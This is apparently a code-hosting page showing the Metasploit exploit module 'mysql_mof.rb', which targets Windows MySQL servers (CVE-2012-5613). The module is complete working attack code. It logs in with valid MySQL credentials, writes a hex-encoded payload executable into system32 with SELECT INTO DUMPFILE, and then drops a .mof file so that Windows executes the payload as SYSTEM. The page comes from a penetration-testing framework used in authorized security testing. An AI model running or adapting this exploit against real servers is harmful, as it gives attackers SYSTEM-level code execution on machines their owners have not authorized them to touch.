rapid7/metasploit-framework

View on GitHub
modules/exploits/windows/mysql/mysql_mof.rb

Summary

Maintainability
B
4 hrs
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::MYSQL
  include Msf::Exploit::WbemExec
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::OptionalSession::MySQL

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Oracle MySQL for Microsoft Windows MOF Execution',
      'Description'    => %q{
          This module takes advantage of a file privilege misconfiguration problem
        specifically against Windows MySQL servers (due to the use of a .mof file).
        This may result in arbitrary code execution under the context of SYSTEM.
        This module requires a valid MySQL account on the target machine.
      },
      'Author'         =>
        [
          'kingcope',
          'sinn3r'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2012-5613'], #DISPUTED
          ['OSVDB', '88118'],
          ['EDB', '23083'],
          ['URL', 'https://seclists.org/fulldisclosure/2012/Dec/13']
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'MySQL on Windows prior to Vista', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2012-12-01'
    ))

    register_options(
      [
        OptString.new('USERNAME', [ true, 'The username to authenticate as']),
        OptString.new('PASSWORD', [ true, 'The password to authenticate with'])
      ])
  end

  def check
    m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
    return Exploit::CheckCode::Safe if not m

    return Exploit::CheckCode::Appears if is_windows?
    return Exploit::CheckCode::Safe
  end

  def query(q)
    rows = []

    begin
      res = mysql_query(q)
      return rows if not res
      res.each_hash do |row|
        rows << row
      end
    rescue ::Rex::Proto::MySQL::Client::ParseError
      return rows
    end

    return rows
  end

  def is_windows?
    r = query("SELECT @@version_compile_os;")
    return (r[0]['@@version_compile_os'] =~ /^Win/) ? true : false
  end

  def get_drive_letter
    r = query("SELECT @@tmpdir;")
    drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''
    return drive
  end

  def upload_file(bin, dest)
    p = bin.unpack("H*")[0]
    query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
  end

  def exploit
    print_status("Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
    begin
      # If we have a session make use of it
      if session
        print_status("Using existing session #{session.sid}")
        self.mysql_conn = session.client
      else
        # otherwise fallback to attempting to login
        m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
        return unless m
      end
    rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
      print_error("Access denied.")
      return
    end

    if not is_windows?
      print_error("Remote host isn't Windows.")
      return
    end

    drive    = get_drive_letter
    exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
    dest     = "#{drive}:/windows/system32/#{exe_name}"
    exe      = generate_payload_exe
    print_status("Uploading to '#{dest}'")
    begin
      upload_file(exe, dest)
      register_file_for_cleanup("#{exe_name}")
    rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
      print_error("No permission to write. I blame kc :-)")
      return
    end

    mof_name = Rex::Text::rand_text_alpha(5) + ".mof"
    dest     = "#{drive}:/windows/system32/wbem/mof/#{mof_name}"
    mof      = generate_mof(mof_name, exe_name)
    print_status("Uploading to '#{dest}'")
    begin
      upload_file(mof, dest)
      register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
    rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
      print_error("No permission to write. Bail!")
      return
    end
  end
end